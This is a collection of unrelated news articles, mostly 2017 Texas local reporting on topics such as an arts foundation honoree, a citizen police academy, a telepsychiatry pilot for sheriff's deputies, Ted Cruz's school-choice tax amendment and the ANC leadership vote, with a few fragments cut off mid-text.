"We're fortunate to have a community that is as enthusiastic about the arts as we are at the Sugar Land Cultural Arts Foundation," said Tim Stubenrouch, Sugar Land Cultural Arts Foundation Board president. "Bob and Carole Brown have become a cornerstone in the Sugar Land community, with Bob serving as a board member of the Sugar Land Heritage Foundation, Sugar Land Legacy Foundation, among many other organizations, and Carole giving back to the community through the Republican Women's Club, American Heart Association and Operation Rainbow - we are delighted to name them the 2018 Founder's Review honorees."

All proceeds of the Review will benefit the mission and goals of SLCAF, including continued improvements to the Sugar Land Auditorium and promotion of cultural, performing and visual arts. To date, SCLAF has reinvested more than $1.2 million in the community. The Sugar Land Cultural Arts Foundation would also like to thank this year's Title Sponsor, Momentum BMW.

To learn more, become a sponsor, or purchase a ticket, or table to this year's Founder's Review, please visit www.slcaf.org/2018-founders-review/ or contact Cathy Stubbs, Review Chair.

Sugar Land Cultural Arts Foundation is a 501(c)(3) nonprofit arts organization, founded in 1999, to promote the cultural, performing and visual arts in Sugar Land and preserve, renovate and restore the historic Sugar Land Auditorium. SLCAF advocates, supports and promotes the cultural arts through programs, initiatives and partnerships including the City of Sugar Land, Fort Bend Independent School District, Houston Endowment, Inc., the George Foundation and the Sugar Land Heritage Society. Visit www.slcaf.org for information.
The Richmond Police Department is accepting applications for Class #25 of the Richmond Citizen's Police Academy (RCPA).

The purpose of the Citizen's Police Academy is to provide residents with a better understanding of the operations of the Richmond Police Department.

The classes will begin on Thursday, Feb. 1, at the Richmond Police Department, 600 Preston St. in Richmond. Class hours are from 6:30 until 9:30 p.m. Classes will be held every Thursday for 10 sessions. The only cost for this opportunity is a resident's time and dedication.

During the academy, citizens will be exposed to many areas of law enforcement including but not limited to:

Meeting the staff and officers of the Richmond Police Department.

Touring the Richmond Police Department and Fort Bend County Jail.

Riding along with Richmond Police Officers during their shifts, if citizens choose.

Participating in the "TASER training." (Full participation optional)

Participating in the "Shoot, Don't Shoot" Firearms Training Scenarios

Join the more than 600 involved citizens who have graduated from the Richmond Citizen's Police Academy by completing an online application at the Richmond Police Department website. Visit http://www.richmondtx.gov/departments/police-department/citizens-police-academy. Completed applications may be mailed, emailed or faxed to the Richmond Police Department, Attn: Lt. Lowell D. Neinast, 600 Preston St., Richmond, Texas 77469; Fax 281- 232-0004; call 281-342-2849 or email LNeinast@richmondtx.gov for more information.
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A Houston woman pleaded guilty Tuesday to shooting a gun from a moving vehicle in a now-viral Snapchat video

Sierra Tarbutton, 27, pleaded guilty to felony criminal mischief and deadly conduct and two earlier charges in exchange for a five year sentence in prison. The earlier charges were harassment of a public servant and retaliation.

"She would have faced at least five years on her old cases, so there was nothing to be gained by fighting the new cases," said her attorney Clay Conrad. "It was all wrapped up into one plea deal, so the new charges were essentially irrelevant."

Now Playing: One has past with drugs, the other has threatened an officer's daughters, documents show Video: Houston Chronicle

Tarbutton was arrested with a Houston rapper named Michael Anthony Cuellar. Conrad, and Cuellar's attorney, Paul Looney, said the 29-year-old rapper would be fighting his charges.

"It still leaves Micheal free to challenge his indictment, which he will be doing," Conrad said. According the court records, Cuellar is a local rapper who goes by the name "Money Mike."

The couple were arrested after police obtained a video of the two apparently shooting blindly into a neighborhood as they drove through in the early morning hours of Sept. 26.

Tarbutton was sentenced by state District Judge George Powell. She will be able to turn herself in on Jan. 2, so she can spend the holidays with her family, Conrad said.

Looney has said the couple turned themselves in because they have been "villainized" by media reports about the viral video.

He noted that the area in which the couple allegedly fired shots had been evacuated or was practically deserted because of Hurricane Harvey.

The video clips posted on the social media platform Snapchat apparently show the couple smiling as they fire more than a dozen shots into a neighborhood near the 15800 block of Memorial Drive.

The two were identified after police compared the videos to other social media accounts and law enforcement search engines, according to court records.

Tarbutton, who was on probation on a charge of retaliation against a public servant, admitted guilt to threatening the life of a police officer's daughters stating, "those are two cute little girls, those are going to be two cute little tombstones," according to court records.
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The nice old man near Old Town Spring calls 911 every month or so to complain about people hiding in the attic of his home.

There's nothing there, of course, except the inventions of his dementia and schizoaffective disorder. But he's now on a first-name basis with the sheriff's office Crisis Intervention Response Team.

They don't arrest him, not even when they find 55 gallons of gasoline stashed in the attic to keep out the imaginary people.

Now the Harris County Sheriff's Office may have a better solution. A new telepsychiatry pilot program debuting Tuesday will arm deputies with tablets equipped to dial in to psychiatrists for urgent video chats, offering professional help out in the field to people who don't necessarily need to go to jail or an emergency room.

VIVITROL:Harris County Jail launches new program to halt opioid addiction

The program is believed to be the first of its kind in the country, officials said.

"It will help better assess things and find a better outcome," said Sheriff Ed Gonzalez. "We can better pinpoint the best way to deal with each individual."

Telepsychiatry programs are already in use in some county jails and juvenile lock-ups, but the possibility of using it in the field is the brainchild of Dr. Avrim Fishkind, a psychiatrist who is CEO of Houston-based JSA Health Corp.

"If you think about it, the rub with psychiatrists is that there aren't any  it takes months to see them," he said. "I kind of got tired of hearing people complain we were never there to help anybody."

Now, they'll be on call 24/7. But aside from making psychiatrists more accessible to those in the throes of a mental health crisis, the program could end up saving the county money.

"These are multimillion-dollar savings, potentially," Fishkind said. "Typical mental health and jail stays are thousands of dollars."

Reaching out

His company, founded in 2007, already makes use of a fleet of some 70 psychiatrists to offer telemedicine services from California to Louisiana. But those services weren't portable; most of the clients were hospitals and community clinics.

So to bring the concept to the streets, he approached Cloud 9, an Austin-based start-up that had already developed an app to let psychiatrists securely video chat with clients in their homes.

With a few tweaks to the software, developers were able to make the program work for first responders in the field. Verizon pitched in to offer free use of tablets and the cellular network, and the pilot was born.

The program will run for eight weeks or until it's used in 25 to 30 calls, whichever comes first, according to Frank Webb, an HCSO project manager.

For starters, only a handful of deputies and supervisors will carry around the telepsych-equipped tablets.

The logistics are straightforward. When a deputy or the Crisis Intervention Response Team is dispatched to a call involving a mental health crisis, they can dial in to JSA and alert them. Then, according to JSA clinical operations manager Terrie Mayfield, the call goes into a queue for help, and by the time they arrive a psychiatrist can be on stand-by.

After a videochat session, the psychiatrist will be able to help frame a solution.

So the next time the elderly man in Spring dials 911, a deputy could rush to the scene with help in hand. And the CIRT team could direct its resources to higher level crises.

It will be work better for some scenarios than for others.

"If we are called for someone being suicidal and then we get there and say they're not  that would be perfect for this program," sheriff's Deputy Don Hess said during a training session at JSA earlier this month.

"But a guy naked with underwear on his head in the middle of the roadway? Meh, we'll probably leave this in the car," he said, gesturing to a tablet on the table.

Looking ahead

In some cases, the telepsych consult will lead to a referral to the NeuroPsychiatric Center  or, if that's full, the emergency room or hospital. But in other cases, the psychiatrist might determine there's no threat, call in a prescription, or recommend other counseling.

"The goals are to reduce the transportation of patients to the hospital, and see if we can resolve some of these situations in the field and utilize other resources," Webb said.

In theory, having a clinician on call at all times could achieve that goal. But that's a pricey proposition, and guessing where to deploy a professional could be a challenge in an area the size of Harris County.

NO SPACE: Lack of beds for inmates needing mental health help

Greg Hansch, public policy director with National Alliance on Mental Illness Texas, offered glowing support for the program.

"It has a lot of potential," he said. "It can help people access mental health treatment and keep people out of settings that they don't need to be in."

But despite the optimism, everyone involved admitted it's not clear that the project will work out. Will people in crisis on the street want to get help through an app? Will deputies feel comfortable using it? How soon should they make the call for help?

"A lot of the pilot is just to test the viability and the technology of doing this," Fishkind said.

But if it does work, Fishkind has ambitious dreams for the future.

"In my fantasy world, we work with Amazon to use drones to deliver drugs to the site," he said. "I've got to get Uber to provide free transportation and Amazon for the delivery service. You've got to think outside of the box."
Thanks to the Houston Livestock Show & Rodeo, El Campo native Ismael Mendez is able to continue his education.

Mendez has completed three semesters at Wharton County Junior College, with a fourth semester seemingly in doubt. Earlier this fall, the Houston Livestock Show & Rodeo's Educational Programs division awarded Mendez a $5,000 scholarship  funds that will keep the 19-year-old in class and one step closer to his dream of becoming an engineer. Since 2015, the HLS&R has providing scholarships for WCJC students entering technical fields like engineering design, process technology and welding.

"It was incredible to get this scholarship because I have been going through some pretty serious financial issues," Mendez said. "I didn't even know if I was going to be able to pay for college after this semester."

Living with his parents and three siblings, Mendez splits his time between classes at WCJC and his job at Crop Production Services in El Campo. Over the summer months, he worked full-time, roughly 56 hours a week, harvesting and testing different varieties of rice. Once the fall semester started, Mendez still managed to put in 30 hours of work per week while tackling a demanding 15 credit hour load in the Engineering Design Program.

"My backpack usually consists of books, paper, pencils and a drafting kit as well as a change of school clothes," he said. "Sometimes I feel like Superman running and changing from one uniform to another, glasses and all."

A portion of the money he makes goes towards helping his parents with the expenses of running a household. His mother works for the Louise Independent School District while his dad is employed in pipe irrigation. Like other south Texas residents, Mendez's family was personally affected by Hurricane Harvey and has since struggled to return to normalcy.

Unanticipated repairs and costs meant there might not be enough funds left over for Mendez's college. Thanks to the HLS&R Scholarship, Mendez's immediate educational future is now set.

"I've been pretty blessed," he said.

A 2016 Louise High School graduate, Mendez has taken his education seriously for most of his life. He finished in the Top 10 of his class and was a member of the National Honor Society, the Tejano Club, Fellowship of Christian Athletes, the Student Council, and served as an officer for the Future Farmers of America.

Coming to WCJC was a logical choice.

"Everyone at WCJC made me feel welcomed," he said. "They made my transition from high school to college a lot smoother, which was a big relief for a nervous freshman coming from a small school."

Mendez said his time at WCJC has been extremely rewarding, with friendly classmates and teachers who go the extra mile.

WCJC Help Desk Technician Lori Saucedo's family has known Mendez for years.

"I wanted to help him because he is driven for success," Saucedo said. "He is a very hardworking and dedicated student, taking a full-time class load while putting in a 30 to 40 hour work week. It has been a pleasure to see Ismael grow up and I am excited to see what the future holds."

Mendez's long-term goals include completing the Engineering Design Program and either finding a good job or going on to Sam Houston State University or the University of Houston to complete a bachelor's degree in engineering.

Those goals would not be possible were it not for the support he has so far received.

"I want to thank the Houston Livestock Show & Rodeo and Wharton County Junior College for helping me fulfill my dreams and for giving me the honor of continuing my education," he said. "And I want to thank my mom and dad for always wanting more for me and encouraging me to be successful."
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In Houston, white supremacists gathered in September outside a Houston book fair, heckling attendees with smoke bombs and chanting phrases such as "Blood and Soil."

In Dallas in October, members of the same group hung a banner from an overpass that read, "Take a knee, back in Africa."

And in November, about 25 members and associates of the group, Patriot Front, demonstrated in front of the George Washington statue at the University of Texas wearing masks and carrying burning torches.

Dozens of times since forming in August, members of the white supremacist group Patriot Front have distributed racist or anti-Semitic flyers on college campuses across the country, according to a new report from the Anti-Defamation League, which tracks hate groups.

"Patriot Front has been ramping up activity in our state," said Dayan Gross, ADL Southwest Regional Director. "The report is designed to help law enforcement and others understand more about the group,"

MORE: Neo-Nazi group linked to fatal Charlottesville car crash spreads hate fliers in Houston

Hate-watch groups like the ADL and the Southern Poverty Law Center say they have observed a marked rise in hate groups and hate crimes or other bias-related incidents in recent years.

Law enforcement departments across the country reported 6,121 hate and bias-related crimes in 2016, up from 5,818 such crimes reported in 2015. Of those, 178 were reported by Texas law enforcement departments.

One of the most notorious incidents occurred in Charlottesville, Virginia, earlier this year, when white supremacists from American Vanguard - another identified hate group - gathered at a "Unite the Right" rally to protest the removal of Confederate statues.

After the protest, white supremacists clashed with counter-protesters, and one plowed into a crowd of counter-protesters with his car, killing 32-year-old Heather Heyer.

RELATED: As hate crimes rise in US, experts believe many incidents not being reported in Texas

Authorities charged the driver, James Alex Fields Jr., 20, of Ohio, with second-degree murder. He was seen in photos earlier that day holding a "Vanguard America" sign and standing with other members of the group.

In the aftermath, members of American Vanguard's Texas chapter regrouped and branded themselves as the Patriot Front, according to the ADL's report.

Members of the group claim their ancestors conquered America and bequeathed it solely to them, according to the report. The group embraces racism, anti-semitism and intolerance under the guise of preserving the "ethnic and cultural origins" of their European ancestors.

RELATED: Have you been the victim of a hate crime or bias? Please tell us.

St. John Barned-Smith covers public safety and major breaking news for the Houston Chronicle. Follow him on Twitter and Facebook. Send tips to st.john.smith@chron.com.
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WASHINGTON  With the Republican-led Congress heading toward final passage of major tax cut legislation decried by Democrats, Texas U.S. Sen. Ted Cruz already has begun campaigning on a school choice provision in the bill that gives tax breaks to families that home-school or send their children to private or religious schools.

In recent weeks since the Texas Republican narrowly secured his "Student Opportunity Amendment" in the GOP tax bill  with an assist from Vice President Mike Pence, who cast the tie-breaking vote  Cruz's 2018 Senate campaign has been heralding the measure to a key Texas constituency: Religious conservatives.

Now Playing: U.S. Senator Ted Cruz of Texas speaks about Hurricane Harvey, The World Series, unity and religious freedom at Faith Fest on Saturday, November 4, 2017 in Downtown Conroe.

In a soaring campaign-style video and a series of email testimonials, Cruz and his backers have described the measure as a turning point in the conservative struggle to allow public funds to open the doors of private schools.

In an email to supporters last week  the latest of at least four this month  the Cruz campaign highlighted a recent opinion piece by Drew White, a senior policy analyst for the conservative Texas Public Policy Foundation, calling the Cruz measure a "game changer."

The amendment would allow $10,000 per child to be taken from tax-privileged 529 savings plans each year. In a significant policy win for Cruz as he heads into an election year, it was included in Friday's joint House-Senate conference bill, now headed for final passage this week.

According to Congress' Joint Committee on Taxation, it would cost the Treasury about $500 million over 10 years, representing a major win for conservative advocates of school choice, which Cruz has called "the civil rights issue of our time."

Many Democrats and some Republicans have opposed the tax benefit as a sop to affluent families that can afford to send their children to private schools. But the issue has received far less debate than the partisan battle over the GOP's $1.5 trillion tax cut package, which affects almost all U.S. households, though it confers most of its direct benefits on corporations and the well-to-do.

While the education measure has attracted little notice outside of conservative media, it has been a top agenda item for Christian conservatives and others in the movement to boost charter and private schools as an alternative to public education.

"Such an idea has been a long time in the making and a cornerstone of the conservative education policy vision," White said.

Among those backing the change is President Donald Trump's Education Secretary, Betsy DeVos, who called the measure a "step forward" in the push to provide tax savings to families who put their children in private or religious schools.

Cruz's amendment would expand popular 529 college savings plans to include K-12 elementary and secondary tuition, including educational expenses for home-schooled children. Much like Roth IRAs, the 529 plans use after-tax contributions to accumulate and grow tax free.

Currently, more than three-quarters of families using 529 savings plans make less than $150,000, a fact Cruz points to in describing the benefit as a boon for the middle class.

"Expanding 529's ensures that each child receives an education that meets their individual needs, instead of being forced into a one-size-fits-all approach to education, or limited to their zip code," Cruz said in a floor speech introducing the measure.

Opponents say it would do little for low-income families with little in savings or practical choice about where their children go to school. Sen. Ron Wyden, D-Oregon, argued against Cruz's provision, saying it amounts to a subsidy for upper-income households at the expense of public schools.

"This is nothing less than a backdoor assault on the public K-12 education system," Wyden said during a Senate debate on Cruz's amendment. "The real goal seems to be to take more and more children from the public schools and put them into private schools and shrink the funds that would be available to the public schools that give all of America's children the chance to get ahead."

The vote to include Cruz's amendment on the Senate floor earlier this month divided the Senate 50-50, with Republicans Lisa Murkowksi of Alaska and Susan Collins of Maine joining all Democrats in opposition. In one of the more dramatic moments of the months-long tax debate, the tie forced Pence to rush into the chamber to cast the deciding vote in a late-night session to finalize the Senate version of the GOP tax bill.

Cruz's amendment would prove to be the only one outside of the GOP leadership to be added on the Senate floor.

The House version of the legislation contained a stronger measure that was left out of the final Senate-House agreement. It would have permitted parents to open 529 accounts for unborn children. Pro-abortion rights advocates such as Planned Parenthood balked on the grounds that it could become a way of restricting abortion through the tax code.

'Pro-family initiative'

Even in its milder Senate form, conservatives have rallied around the Cruz amendment, which is now part of a sweeping rewrite of the U.S. tax code, the first in more than 30 years. Cruz backers argue that it provides a measure of fairness to families who take their children out of public school systems they're forced to support through their property taxes.

The Cruz campaign recently distributed an opinion piece by influential conservative commentator Erick Erickson, who praised Cruz for angering liberals.

"It is actually really funny to see a bunch of liberals who think the GOP is hurting poor people with tax reform spitting mad this morning now that they realize what Senator Ted Cruz has done," Erickson wrote. "Yes, the left is mad that Ted Cruz got a pro-family initiative put into tax reform."

But while conservatives have cast it as an issue of family values and universal choice, opponents of the measure say it would deepen class inequality in education.

The Not One Penny campaign, which has fought the entire GOP tax bill, cited a recent paper by Harvard University's Richard Murnane and Stanford University's Sean Reardon showing that enrollment in private schools has remained stable for the past half-century while middle class students increasingly rely on public schools.

The study also found that between 1972 and 2010, wealthier parents spent increasingly on the education of children under 6. The gap between their spending and those of poorer families has increased four-fold since 1972, and has appeared to widen since 2010.
A 30-year-old Fort Worth man has been sentenced to one year in jail after he left his dog to die of starvation in his apartment.

Justin Ryan Rubio was arrested March 2016 after his dog Tara, a pit bull mix, was found dead inside his home at Monticello Crossroads Apartments, KHOU reported.
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A police sergeant was fired Monday after the Fort Worth Police Department reviewed body camera footage of him allegedly ordering another officer to use a Taser on a woman at the scene of a domestic disturbance, according to a press release.

Sgt. Kenneth Pierce was terminated after 22 years in law enforcement when the incident came under a use of force review.

Police Chief Joel Fitzgerald said in the release that in August, Pierce was called to the scene of a domestic disturbance. As the woman in the video produces identification, the officer becomes "impatient, initiated an unnecessary physical confrontation, and then ordered a rookie officer to 'Tase' the woman," according to Fitzgerald.

YUCK!: Woman charged with spitting on Houston police chief

Now Playing: Fort Worth Police Sgt. Kenneth Pierce ordered another officer to Taze a woman, according to bodycam footage. Police Chief Joel Fitzgerald said Pierce "initiated an unnecessary confrontation," according to a release. Video: Fort Worth Police Department

Police did not identify the location where the incident occurred, however, it appears to have occurred at an apartment complex.

The video footage is nearly 13 minutes long and the physical confrontation begins at the 7:21 mark.

Fitzgerald said out of respect for the woman's privacy, police are not identifying her. Charges against the woman have been dropped after reviewing evidence and the video, Fitzgerald said. He added the woman has not responded to the police department despite reaching out multiple times.

TRAGIC: Houston mayor and police chief speak at vigil of slain transgender woman

"I'm confident that everyone who sees this video, including members of this department, will agree this supervisor's response and subsequent behaviors are absolutely unacceptable," Fitzgerald said in the release. "We are built on a foundation of being problem-solvers. Pierce responded in an opposite manner, and he escalated the situation endangering everyone including his fellow officers."

Fitzgerald added that the case iss "eerily reminiscent" of Jacqueline Craig, a Dec. 21, 2106 arrest that gained national attention. Video of Craig and Fort Worth Police Officer William Martin went viral and Martin received a 10-day suspension.

"In my mind, all people should be treated with dignity and respect. That's non-negotiable," Fitzgerald said.

See the incident in full in the video above.

Will Axford is a digital reporter for Chron.com. Read more of his stories here and follow him on Twitter.
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The owner of a restaurant in Dallas is apologizing for a photograph of Ted Cruz and Donald Trump Jr. snapped within his business.

The photo, showing Ted Cruz and Trump Jr. posing with a Barrack Obama cookie cake, went viral on Sunday after it was posted to Trump Jr.'s Instagram.

Restaurant owner Stephan Courseau took to Instagram the next day, writing that he felt "betrayed and sad" by the fact that guests used his restaurant, Le Bilboquet, "as a platform to promote, disrespect, and spread hatred."

The caption on the image thanked the Texas senator for bringing him a cake two weeks before his 40th birthday. "What birthday is complete without an Obama cake?" he wrote.

IN HOUSTON: Mayor and police chief speak at vigil of slain transgender woman

Now Playing: Donald Trump Jr. appeared to mock former President Obama in a bizarre Instagram photo. Video: GeoBeats

"Both Donald Trump Jr. and Ted Cruz were attending a birthday celebration of one of our regular patrons who rented out our venue for a private event," Courseau clarified. "The party was not for either one of them nor was it any kind of partisan rally."

More Information Dallas restaurant that hosted Ted Cruz and Trump Jr. birthday party apologizes See More Collapse

"Unfortunately, I was not working yesterday and could not intervene in the unfortunate circumstances that unfolded but I believe I owe you an explanation and an apology," Courseau continued. "Someone that attended the party brought in an outside cake for Donald Trump Jr.'s upcoming birthday and we are not sure who that was. Both Donald Trump Jr. and Ted Cruz took pictures with the cake and posted on social media outlets."

See nine facts about Donald Trump Jr. above.

Fernando Ramirez is a reporter for Chron.com and the Houston Chronicle. You can read more of his stories here and follow him on Twitter at @fernramirez93.
JOHANNESBURG - South Africa's ruling party on Monday chose Cyril Ramaphosa, a reformer who helped negotiate the end of apartheid, to succeed President Jacob Zuma as the president of the African National Congress and likely the country's next leader.

Ramaphosa was elected at a party conference after the vote was delayed more than 24 hours to settle internal disputes. He defeated former government minister Nkosazana Dlamini Zuma, who is also Jacob Zuma's ex-wife.

A divided ANC

Zuma's second five-year term as party president will end with the close of the convention Wednesday, but he will remain president of the country until 2019. His years as president have been marked by rampant corruption that has left voters disenchanted with the ANC.

Ramaphosa now faces the task of winning back the support of voters.

Twenty-three years after the country held its first all-race election, which the ANC won with Nelson Mandela at the helm, more than one in two South Africans lives in poverty. The country suffers from an unemployment rate of nearly 30 percent. Systemic corruption prompted two ratings agencies to downgrade the country, Africa's most industrialized, to junk status.

Ramaphosa captured a majority of the 4,708 votes cast at the convention, and while he's seen as a reformer in the party, it amounts to a "pyrrhic victory," said analyst Richard Calland, because the ANC remains divided.

"The candidate lost, but the faction won," Calland said of Dlamini Zuma. Three of the party's top six positions went to Dlamini Zuma's allies, who will cater to the party's rural base instead of trying to court the urban middle class. "That's an extraordinary paradox. But it makes sense because she was the wrong candidate for this faction. She was a misfit."

The ANC has seen its share of the electorate fall in each of the last three elections. In 2016, it lost control of Johannesburg, Tshwane, which includes the capital, Pretoria, and Nelson Mandela Bay. Those three cities are run by coalitions led by the Democratic Alliance.

The DA also rules Cape Town, and the surrounding Western Cape province, outright.

Private sector success

Ramaphosa founded the National Union of Mineworkers and led the union through strikes that shook the apartheid-era economy. He helped negotiate the end of apartheid on behalf of the ANC and was Mandela's chosen successor to lead the party.

When he lost his chance to become ANC president in the 1990s, Ramaphosa embarked on a lucrative career in the private sector and amassed a fortune that ranked him as one of the country's wealthiest people. His Shanduka Group, a holding company, invested in the mining sector. He divested from the company and stepped down from various corporate boards three years ago.
The summers final Live on the Waterfront concert was held Wednesday evening at Prince Arthurs Landing. The popular series in Thunder Bay has completed nine weekly shows that began on July 13. Wednesdays concert was unique as it was held one hour later in the evening to mesh with the 10 p.
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A.O. Centrul de Drept al Femeilor anunta concurs pentru selectarea expertilor nationali pentru dezvoltarea conceptului de sprijin psihosocial si a Curriculumului de instruire in acest sens
Editors note: This post first appeared at 2020 Candidate Watch.org, a project of Common Cause.

New York City Mayor Bill de Blasio, a Democrat, is heading to Des Moines, IA, today to give the keynote address at the holiday party of the group Progress Iowa. The New York Times reports that de Blasios trip will mark the first landfall of a New York politician in the presidential proving grounds of Iowa ahead of 2020. Other New Yorkers expected to run for president in 2020and soon heading to Iowa, New Hampshire, and South Carolinainclude Gov. Andrew M. Cuomo and Sen. Kirsten Gillibrand. In other words, although the 2018 midterm elections are still nearly a year away, the 2020 presidential race is already on.

How is Mayor de Blasio paying for this trip to Iowa? Is he using funds that comply with federal law candidate contribution restrictionsi.e., no corporate or union funds and no more than $2,700 from any permissible donor? Is he keeping track of this political spending, so he can disclose it if he actually becomes a federal candidate? Hed better be!

Federal campaign finance law requires prospective candidates for federal office to pay for any testing the waters activities with federally-permissible funds. And if the prospective candidate becomes an actual candidate, federal law requires that candidate to disclose funds previously raised and spent to test the waters. Federal Election Commission (FEC) regulations describe testing the waters as money raised and spent for the purpose of determining whether an individual should become a candidate. FEC guidance makes clear that testing the waters activities include, but are not limited to:

Travel for the purpose of determining whether an individual should become a candidate;

Attending, addressing, and renting hospitality suites at state political party conferences where the individual indicates his potential interest in, and his ongoing consideration of whether to seek his partys nomination; and

Private meetings with state party leaders to gauge support of a possible candidacy.

Unfortunately, the FEC in recent years has a pretty poor track record for enforcing its testing the waters requirements. During the 2016 presidential cycle, the FEC stood idly by while nearly every serious candidate made a mockery of federal campaign finance laws. Jeb Bush, for example, spent the first half of 2015 barnstorming the country and raising more than $100 million in unlimited contributions for a super PACmoney that cant be raised or spent to test the waters or run for federal officeall the while claiming that he wasnt testing the waters or campaigning for president. A complaint against Bush for these activities has been pending at the FEC for more than two years.

The FEC may indulge abuses of the law; Common Cause and our million-plus members and supporters will not. Common Cause calls on all prospective 2020 presidential candidates to admit when theyre traveling to early primary/caucus states to test the waters of candidacy, and to comply with federal campaign finance law requirements for the funding of such activities. A little honesty is not too much to ask of individuals seeking the presidency.

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I don't know how many young women come to this blog or how many are parents of teenage or young adult women, but here are some safety tips from Kelsey's Army:

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P

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1. Trust your instincts - If something feels wrong then something probably is wrong.2. Know your surroundings - know who and what is around you.3. Always have a plan for where you would go and what you would do if a situation arises.4. Be willing to make a scene in order to be noticed.5. Let someone know where you are going and when you will be back.Remember the acronym TIPS:ake Chargenform others of your whereaboutsrepare for any situationurvival Mentality (role play situations so you will respond should they happen)For more information, go to Kelsey's Army
North Korea does not agree to discuss its nuclear program with the US, the North Korean daily Rodong Sinmun reported.

December 19, 2017, 16:43 North Korea rejects US initiative to discuss nuclear program

STEPANAKERT, DECEMBER 19, ARTSAKHPRESS:According to the source, the US initiative to negotiate without preconditions should be considered as an attempt to prepare a UN Security Council resolution on sanctions against the North Korea.

As reported earlier, the US Secretary of State Rex Tillerson offered to begin talks with North Korea without pre-conditions, but only after a period of quiet without new nuclear or missile tests.
Specialized Liver Cancer Care

When the largest organ in your body develops cancer, you want a team of highly trained specialists at your side to diagnose and treat your liver problems. At CPMC's Cancer Center, this team includes hepatologists, surgeons, oncologists, interventional radiologists, nurses and other skilled health professionals.

Our Liver Cancer Program provides comprehensive, high-quality care tailored to your needs. Each year our team cares for more than 200 people who have hepatocellular carcinoma and metastatic liver lesions. Through our Hepatology and Gastroenterology Research Program, were able to offer new, investigational techniques for liver cancer. Doctors at CPMC are actively involved in clinical, basic science, and translational research, including clinical trials.

Getting a picture of your liver and bile ducts can help your doctor determine the best course of treatment for your particular cancer. We offer a wide range of the latest and most reliable diagnostic and imaging tests, including magnetic resonance cholangiopancreatography and cholangioscopy. Our multidisciplinary panel of experts review every cancer case together, in meetings called tumor boards, to combine their collective expertise and craft an approach that best fits each patient.

Treatment options for liver cancer are based on the size and location of your tumor, or tumors, and underlying liver function. For some cancers, we offer a variety of advanced surgical techniques, including embolization therapy, bile duct resection, biliary bypass surgery and liver resection. Our weekly Liver Cancer Clinic offers care for individuals with known or suspected liver cancer.

CPMCs Cancer Center has earned accreditation from the American College of Surgeons for providing comprehensive cancer care, from surgery and radiation to education and support groups. And doctors at CPMC make it their goal to reduce your symptoms and discomfort by providing pain management and palliative care.
Applications & OS News

Bringing AI To Data Analytics And Knowledge Management: Startups Anodot And Maana Snag New Financing

Rick Whiting

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Two startups pushing the technology boundaries of artificial intelligence in the big data arena reported big wins on the venture capital front on Tuesday.

Maana, which develops a "knowledge-centric" data search and discovery platform, said it raised $28 million in Series C funding. Anodot, developer of next-generation business analytics software, disclosed the completion of a Series B funding round of $23 million.

The announcements wrap up a year in which private equity firms, established IT vendors and others invested heavily in startup companies developing software for managing and analyzing huge volumes of data  especially those incorporating AI and machine learning technologies into their products.

[Related: The 2017 Big Data 100 ]

Maana, based in Palo Alto, Calif., develops the AI-based Maana Knowledge Platform, a system that uses the company's patented Knowledge Graph technology and algorithms to provide a holistic view of assets or processes a company wants to optimize.

The company's more immediate focus for its software has been on industrial digital transformation applications  especially in the oil and gas industry.

The $28 million in Series C funding brings Maana's total funding to more than $71 million.

The round was led by China International Capital Corp. (CICC) and Eight Square Capital. Other new investors included Accenture Ventures and Sino Capital, and participating existing investors included Intel Capital, GE Ventures, Chevron Technology Ventures, Saudi Aramco Energy Ventures and Shell Technology Ventures.

"The latest investment will be used to scale our business globally and support our growing Fortune Global 500 customer base," said Maana CEO and co-founder Babur Ozden, in a statement. "This funding, combined with the strategic alliance Maana has established with Accenture, demonstrates the demand for Maana's cutting-edge, AI-driven knowledge technology as a key enabler of digital transformation at the world's largest industrial companies."

Anodot, with headquarters in Ra'anana, Israel, and Sunnyvale, Calif., markets business analysis software that uses machine learning technology to detect anomalies within huge volumes of data and help businesses identify problems and capture new opportunities.

The company, which said it tripled its revenue in the last year, just recently launched AI Analytics for Retail, an edition of its software specifically for the online retail industry.

Anodot said it received $15 million in financing led by Redline Capital management, along with existing investors Aleph Venture Capital and Disruptive Technologies Venture Capital. That, along with earlier investments, brings its total Series B round funding to $23 million.

"Business Intelligence presents a multi-billion-dollar market and Anodot's differentiated approach adds AI to BI," said Benno Jering, principal at Redline Capital, in a statement.

"Traditional BI focuses on dashboards and other tools that analyze historical data, focusing on specific portions of data and addressing pre-defined queries. Anodot addresses a completely different need by surfacing the issues you wouldn't know to ask about, across constantly changing massive amounts of data. Anodot's analytics provide the full picture across all data at a granular level so companies can understand what's going in every market, with every product, across every device," Jering said.
Out With The Old, In With The New

2017 marked another year of rapid, accelerating change for many of the IT channel's leading businesses and decision-makers.

Top vendors made game-changing acquisitions, broadline distributors acquired their way into emerging technology areas, and industry leaders continued to position their practices for a future that will feature more complex and sophisticated solutions ranging from cloud services to IoT and cybersecurity. In the past month alone, HPE CEO Meg Whitman announced her decision to step down, and Dell EMC named a new channel chief following the promotion of John Byrne.

Outside money continues to flow into the channel from private equity firms and multinational conglomerates. Consolidation swept the channel once again, with several major solution providers and distributors acquiring or merging with one another. And, in both Florida and California, natural disasters hurt business for IT providers and their customers.

Keep reading to review the most significant and influential channel developments of the past year.

Get more of CRN's 2017 tech year in review .
The researchers found plenty of unusual banana varieties, but their quest to find the Giant, and to sample its bounty, proved fruitless.

They were tantalised by images circulating online, purportedly taken by locals, that depict a towering banana corm, several stories high, with leaves about five yards long.

The scientists travelled through the jungles of the South Pacific nation, by car and on foot, accompanied by two armed guards.

NEW YORK - In June, a team of European researchers travelled to Papua New Guinea on a mission of global significance. They came to search for the Giant Banana plant.

We were all really disappointed, said Julie Sardos, a French scientist for Bioversity International, a global research institute.

Scientists around the world are rushing to find and develop new types of bananas, driven in part by a potential crisis in the supply of the Cavendishthe variety commonly found in supermarkets around the world.

Bananas are one of the worlds most popular fruits, including in the U.S., which imports $2.3 billion worth each year.

The Cavendish is under threat of extinction from a fungal disease that is spreading across the world, killing the plants that bear the fruit. Cavendish bananas are seedless, so their plants are genetic clones, making them vulnerable to disease.

The soil-borne fungus is estimated to have damaged more than 30% of Asias and Australias banana plantations, and has made its way to Africa and the Middle East.

If it reaches Latin America and the Caribbean, source of 85% of the worlds banana exports and the majority of American fruit, it could wipe billions of dollars from the export industry. The fungus affects some lesser-known varieties, too.

So scientists are roaming through rural areas and working in their labs in pursuit of possible alternativesthough its proving hard to find ones with consumer appeal.

There are more than 1,500 types of edible and wild bananas, but they often look and taste peculiar. Some are squat. Some are red. Others fan out in semicircles rather than neat clumps.

